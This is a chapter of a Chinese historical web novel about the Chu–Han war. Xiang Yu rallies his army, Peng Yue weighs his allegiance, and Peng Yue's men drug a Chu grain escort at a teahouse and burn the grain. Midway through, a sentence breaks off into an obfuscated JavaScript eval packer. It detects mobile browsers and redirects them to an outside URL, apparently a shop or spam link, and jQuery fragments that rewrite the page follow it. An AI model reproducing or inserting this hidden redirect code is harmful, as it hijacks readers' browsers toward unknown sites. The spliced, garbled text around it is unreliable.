“韩信已至梁地,大王可集中精力全力对付刘邦。”
项羽垂眸,指腹拂过那几个字,而后将素绢投入身侧的炭盆。
火舌蹿起,顷刻间将素绢吞没。那行字迹在燃起的火焰中微微蜷曲,转瞬化入赤红的木炭中。
项羽望着那簇火焰彻底熄灭,方抬起眼眸,对亲卫道:
“传寡人军令,集诸营将校,一刻钟后校场点兵。”
亲卫领命而去。
营门外火把如林,映红了成皋的夜空。二十万楚军将士列阵而立,冷肃的面容在跳动的火光中明明灭灭。项羽立于校场台上,玄色大氅被夜风卷起,银色甲胄泛着冷冽的光。他按剑四顾,声如洪钟:
“此一战,定要活捉刘邦!”
“活捉刘邦!”
“活捉刘邦!”
……
数十万人的吼声汇成惊涛,如闷雷般滚过成皋上空,又沉沉地压向四野。楚军将士眼中燃着烈焰,胸口滚着热血,八年来的楚汉相争,终于要在此刻画下句号。打完这一仗,他们就能回家了。
回淮北,回江东,回那个有炊烟、有稻田、有妻儿等候的地方。再也不必刀口舔血,不必枕戈待旦。那种日子,他们想了太久,盼了太久。
此刻,数十万道目光齐齐望向台上那人。
项羽身如孤峰般挺拔而立。火光辉映之下,他眉目沉肃,容颜俊美无俦,如神诋降临。那是他们的王,是他们跟了八年的战神,他终将带领他们夺得这天下,还他们一个太平人间。
他于年少时起兵,八年间,从无败绩,却从未真正抓住那个在他背后步步蚕食的对手。刘邦从未正面打败过他们的战神,却如同一只打不死的蟑螂,靠龟缩,游击,求和,撕毁盟约,占据了半数江山,汉军如此周而复始,生生不息。
可这一次,他们能感觉到,这是最后的决战,刘邦将无处可逃。
项羽再次开口,声音穿过寂静的校场,穿过重重火把与旌旗,落进每一个人耳中。
“八年前,项羽随叔父举兵渡江,只为诛暴秦、定天下。”
“秦已灭,楚不当亡。”
“然刘季小吏,反复无常,背约偷袭,窃据汉地。彭城一战联合诸侯欲夺我妻。”
“这样的人,配坐天下吗?”
“不配!”
“不配!”
“不配!”
数十万道声音从喉间破空而出,汇成一道黑色的怒潮。
项羽抬起手。
潮声骤歇。万籁俱寂,只有风从成皋原野呼啸而过,吹得旌旗猎猎作响。
“如今,韩信已入梁地,只要打败彭越,刘邦退路尽断,这一回,他已退无可退。”
项羽剑指修武方向,剑鞘离刃,一道寒光划破长空。
“向修武进发。”
……
梁地,彭越府邸。
彭越缓缓放下手中那卷来自汉王的竹简。
刘邦的字迹每一笔都带着急迫。信上只寥寥数语:“据探马来报,项羽已入修武,将军可伺机而动,断其粮草,此战之后,寡人便封将军为梁王。”
伺机而动,梁王?
彭越将这几个字在心中滚了三遍,烛火在帐中跳动,将他的影子拉得忽长忽短。
他抬手屏退左右,独自坐在案前。
外头是梁地的夜,风穿过枯黄的草,发出细碎的声响。他曾在这片土地上奔袭多年,每一道沟壑、每一条小径,都熟得像自己掌中的纹路。可此刻,他却觉得自己站上了一处断崖,前无去路,后无归途。
自天下大乱之后,他便一直在巨野泽为盗,与一帮兄弟以捕鱼为生,偶尔上岸劫些粮草,日子过得凶险,却也自在,直至那日。
那是秦二世三年的秋天。
彭越记得很清楚,彼时陈胜吴广的声势虽被镇压下去,但各地的反旗却越举越多。
年少时他读过书,也习过剑,可乱世不养闲人。家境败落后,他便入了泽中,成了那群渔人里最有主意的一个。他不爱说话,但说出来的话,兄弟们总愿意听。
有一日,来了一个中年人,那人穿着半旧的短褐,眉宇间自有一番中年人历经世事的沧桑,还有一丝说不清道不明的王霸之气,他说话时带着几分沛县口音。彭越坐在船头,一边补网,一边听他讲什么“天下大势”、“苍生倒悬”。
末了,那人拱手道:“壮士有才干,何不随我一同举事,将来裂土封侯,也不枉这一身本领。”
彭越并未答应,他如今过得逍遥自在,又何需去冒那个险。
他送走那人,将网抛回水中,对身边的兄弟说:“那人叫刘邦,是个有野心的。”
他真正入伙,是在一年之后。
那时天下已彻底乱了。秦军的镇压也好,六国旧贵复起也罢,对彭越来说,都远不如一件事重要,他手下的兄弟已经聚了数百人,再不寻个出路,迟早要被哪路大军剿灭。
是以,他选了刘邦。
不为别的,只因刘邦出身微末,懂他们的活法。那些旧贵族,张口闭口皆是祖上的荣光,与他们这些泽中盗匪隔着天堑。而刘邦不同,他能与贩夫走卒勾肩搭背,也敢在前线亲自冲锋。彭越曾远远看过刘邦的军阵,严整却不刻板,令行禁止却不苛责士卒。
他便带着那数百名兄弟,投了刘邦。
起初只是转运粮草,做些押运的活计。后来战事渐紧,刘邦看出他对地形极其熟悉,对敌情判断精准,以及对“何时该进、何时该退”有着近乎野兽般的直觉。
刘邦从未要求过彭越攻城略地。这个出身亭长的无赖,这个被他手下兄弟称为“刘老三”的草莽汉王,比任何一个世家子弟都更明白:不是每个人都该死在最前线。有人是利刃,就该直取咽喉;有人是暗刺,就该隐于暗处。
“你不要在前线。”刘邦那年对他说,“你在我身后,替我看住项羽的粮道。”
这是一句托付,也是一道将令。
彭越自此成了刘邦手里那把最为锋利的暗刃。
项羽的军队从彭城一路西进时,彭越带三千轻骑,绕过楚军主力,直插砀郡。那时项羽正全力围困荥阳,后方粮草从彭城经睢阳、雍丘,源源不断运往西线。彭越在雍丘以东三十里设伏,一把火烧了三百车粮。
项羽当时大怒,派楚军前来追剿。彭越却早退入泽中,如泥鳅滑入烂泥,没了踪影。
过了一个月,荥阳战事正酣,彭越又出现在亢父。这回他劫的是楚军的冬衣。
项羽派来的偏将气得在亢父城下骂了三天,彭越早已率部遁入数百里外。
四年间,项羽被这种“不正面交锋,只在背后捅刀”的打法折磨得夜不安枕。他恨透了他这个个永远在侧翼游荡的盗匪头子。可无论派谁去剿,彭越总能在最后一刻消失在群山泽野之间。
彭越知道自己的用处,他不是韩信,不能独当一面、横扫诸侯;他也不是张良,不能运筹帷幄、决胜千里。他就是在敌人后背上扎一根刺,扎得不深,却拔不出来,磨得人日夜难安。
那是他最自在的几年。
可如今,刘邦来信说要他再次截获项羽的粮草,可今时已不同往日。项羽已占了大半江山,刘邦如今已是困兽之斗,他都自身难保,却还要以梁王相诱,让他也陪着去送葬。
彭越握着竹简的手指微微收紧。
可这些年,项羽已对他恨之入骨,投诚是不可能了。他一想起项羽对待仇敌的手段,便头皮发麻,项羽对待恨之入骨的人,不是烹了便是煮了。只怪他当时站错了队,如今他同刘邦已是一根绳上的蚂蚱,即便战死,大不了颈上碗口大的疤,总比被项羽烹了的强。
彭越闭目,他这一生从未与项羽正面交锋过。他知道自己的极限,袭扰粮道、牵制偏师,这是他最擅长之事。可若是项羽亲自领兵而来,他那三千轻骑,不够楚军一个冲锋。项羽的旗帜是赤色的,可落在彭越眼中,却像浸透了鲜血的黑,那面旗帜上面,不知染了多少人的鲜血。他只要如之前那般从后袭扰项羽的粮草,然后退入巨野泽。若刘邦被擒,他便可以没入山林,隐姓埋名,继续为盗。
帐帘忽然掀动,亲兵疾步入内,单膝跪地。
“报——据探马来报,项羽的大军已向修武开拔。”
彭越看向亲兵:“命全军将士集合,埋伏在项羽的必经之地。”
“诺。”
……
钟离眜听闻项羽将押运粮草的任务交给了龙且和季布时,心中顿时舒了一口气。上次由他负责押运粮草,却在半道被彭越劫去了一半,项羽以三十鞭做为对他的惩戒。
这回季布和龙且临走之时,钟离眜便特意嘱咐二位小心彭越半道截粮。
龙且当时还笑道:“彭越算个什么东西,他敢来,我把他脑袋拧下来给大王当夜壶。”
虽如此说着,龙且一路行来仍是特别警惕。他和季布押着粮草从彭城出发,一路小心翼翼,夜里轮值守得跟铁桶似的,可连彭越的影子都没见着。
时值深秋,天上的日头却如夏日般热辣。
龙且骑在马上,擦了一把额上的汗水,又回头望了一眼绵延数里的粮车,车上麻袋鼓胀,里头是供应修武大营几十万楚军十日的口粮。他此时嗓子干得好似冒烟,本来想着押运粮草是个松快活,谁呈想此事却比上战场厮杀要磨人得多。
虽然他和季布轮番休息,那紧绷着的神经却未片刻放松,此次若让彭越劫了粮,回去还不被同僚耻笑。尤其是那钟离眜,他还对他放了大话,若粮草被彭越劫了去,便让自己的脑袋给钟离眜当球踢。一想到钟离眜当时看他的眼神,像是在看一个呆子,他便心里特别闹心。
正如此想着,季布策马过来,低声道:“前头有个茶肆,将士们渴了,歇歇脚吧。”
龙且眯眼望去,官道旁孤零零挑着面旗子,竹竿都旧得发黑,上写一个“茶”字。茶肆是间土坯房,檐下摆着四五张歪腿木桌,棚子遮阴,倒也凉快。
“歇一刻钟。”龙且下令道。
三百楚军齐刷刷松了口气,却不敢解甲,只牵着马匹往茶肆靠。粮车在外围成一圈,十几名亲兵留守,其余人轮番进棚喝茶。
茶肆里只有一个老板、两个小二,都是瘦削的中年汉子,手脚麻利,见来了军爷也不慌张,低头拎着大茶壶穿梭。龙且往条凳上一坐,茶碗“啪”地落在面前,小二提起壶,沸水冲下,茶叶打着旋儿浮起来。
“军爷请用茶。”
龙且端起来嗅了嗅,是粗茶,解渴正好。
季布没坐。他站在棚边,手按剑柄,目光扫过茶肆内外,土墙上有几道新抹的泥,灶膛里的火不太旺,小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157387|189389||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
二端茶的手指虎口有茧。
他再看那老板。老板正弯着腰往灶里添柴,侧脸被火光映红,平平无奇。可季布忽然想起一件事。
彭越出身巨野泽,是渔夫。
渔夫添柴,哪有从下头往上一把塞的?那得把火压灭。这分明是拿惯了刀柄的手。
“这茶我不喝。”季布把碗推开。
此时龙且已仰脖灌下去大半碗,他咂咂嘴:“怎么,怕有毒?”
季布没接话。他盯着小二给将士们倒茶,浅褐色的茶水倒进陶碗之后却不见丝毫晃动。
“都已出了彭越的地界,”龙且把剩下的茶喝尽,碗往桌上一顿,笑道,“你怕什么。”
话音未落,第一只碗“啪”的一声落地。碗砸在土里,茶水洇开一小块深色。那个楚军士兵的身子晃了晃,直挺挺地向前扑倒。
接着是第二个、第三个。
龙且猛地站起,膝盖撞翻条凳,他张了张嘴,还没骂出声来,只觉天旋地转。他想拔剑,手伸到腰间,剑柄却像隔了三丈远,怎么也够不着。
“你……”他瞪着季布,又瞪着那个小二,喉咙里挤出几个字,“茶里……”
季布没有同其他人那般倒下去,他没喝茶。
茶肆里的“小二”已经直起腰来,卸下了方才那副低眉顺眼的殷勤相,取而代之的是,如盯着猎物一般的凶残相。为首的“老板”从灶膛边站起身,手里多了一把刀。
那是彭越手下头号悍将,姓桓,名楚,巨野泽里摸爬滚打出来的亡命徒。
“季将军。”桓楚笑了笑,“彭将军让我给您带个好,借楚军的粮草一用。”
季布心道不好,转身就向粮车的方向跑。
他撞开茶肆的竹帘,阳光劈头盖脸砸下来。粮车还在,留守亲兵却被一黑衣人抹了脖子,被割破的喉咙处汩汩往外冒着血泡,亲兵瞬间跪倒在车辕边。
一个黑衣人将手中的火折子扔向麻袋,火折子在空中划过一道弧线,撞向干透的麻袋,麻袋瞬间吐出一缕青烟。青烟很快变成明火,火舌舔上车板,噼啪作响。
“不——”季布冲过去,拔剑出鞘。
他一剑削断那人的脖子之后。顺手脱下外袍拍打燃起的火苗,及时挥剑砍断燃烧的车辕,把完好的粮袋往外拖。火光冲天,黑烟滚滚,以他一人之力,却是徒劳。
楚军陆续从茶肆里跌出来,腿软得像灌了铅,爬都爬不动。龙且最后出来,跪趴在粮车边,呕出半碗没消化完的茶水,混着胆汁,又苦又腥。他死死瞪着那些着火的粮车,眼睛红得像要滴血。
他嘶声喊道:“救火!”
却没人能动。三百楚军横七竖八瘫了一地。桓楚的人早就没了影,茶肆里只剩空桌空碗。
龙且挣扎着想站起来,膝盖一软又跪下去。他死死抠着地面的石子,指节发白。
“我的……”他喉咙里滚出一声含糊不清的咒骂,“我的错。”
季布没理他。
他拖出第十二袋粮食时,火势终于小了。没有援手,没有水源,靠他一个人,烧光的还是比抢回的多。他站在焦黑的粮车残骸中间,浑身上下冒着烟,像刚从灶膛里爬出来。
“还剩多少?”季布问道,声音粗哑得像砂纸。
副将清点了半日,战战兢兢回话:“回将军,约莫……只剩三分之一。”
季布垂下剑尖,低头看着自己的手,手心全是血泡和水泡,破了几个,黏着黑灰和焦米粒,他没觉得手疼,只觉心尖火辣辣地疼。
龙且终于能站起来了。他踉跄着走到季布跟前,半天只挤出一句:“你砍了我吧。”
季布没看他。
“回营。”他说,“把剩下的粮草拢好,加三倍人手,连夜赶路。”
“季布……”
“大王在修武等粮。”季布翻身上马,“三分之一的粮草,也够撑三日。三日之内,彭越不会再来了。”
楚军灰头土脸重新上路。车轴轧过官道的浮土,留下深深浅浅的辙印。茶肆还在路边,旗子还在檐下随风晃荡。
修武大营,项羽看完军报,沉默良久。
“龙且呢。”
“在外头跪着。”亲卫道:“跪了两个时辰了。”
“让他跪着。”项羽把军报往案上一掷,“三百人押粮,被二十几个贼人劫了,还有脸跪。”
半晌,项羽又问:“季布呢。”
“在营外埋锅。抢回来的粮有焦壳,得碾过才能吃。”
帐外隐约传来龙且的声音,隔着老远,听不清喊什么。有亲兵来报,说龙将军脱了甲,跪在辕门外,说请大王斩他。
“让他跪。”项羽说。
他起身走到帐口,掀开毡帘。远处夕阳如血,染红半边天,龙且已经跪得摇摇欲坠。更远处,季布蹲在灶边,一勺一勺往锅里添水,蒸汽模糊了他的脸。
项羽看了一会儿,放下帘子。
“传令三军,”他说,“今夜吃焦米饭。”
他坐回案前,重新拿起那卷军报。竹简上的“彭越”两个字在烛火下忽明忽暗。不知韩信能不能灭掉那个该死的彭越。
帐外,龙且还跪着。炊烟升起来了,焦米的气味飘过暮色四合的天边。彭越的人早不知遁入了哪片山林。
可楚军的粮草,终究少了七分。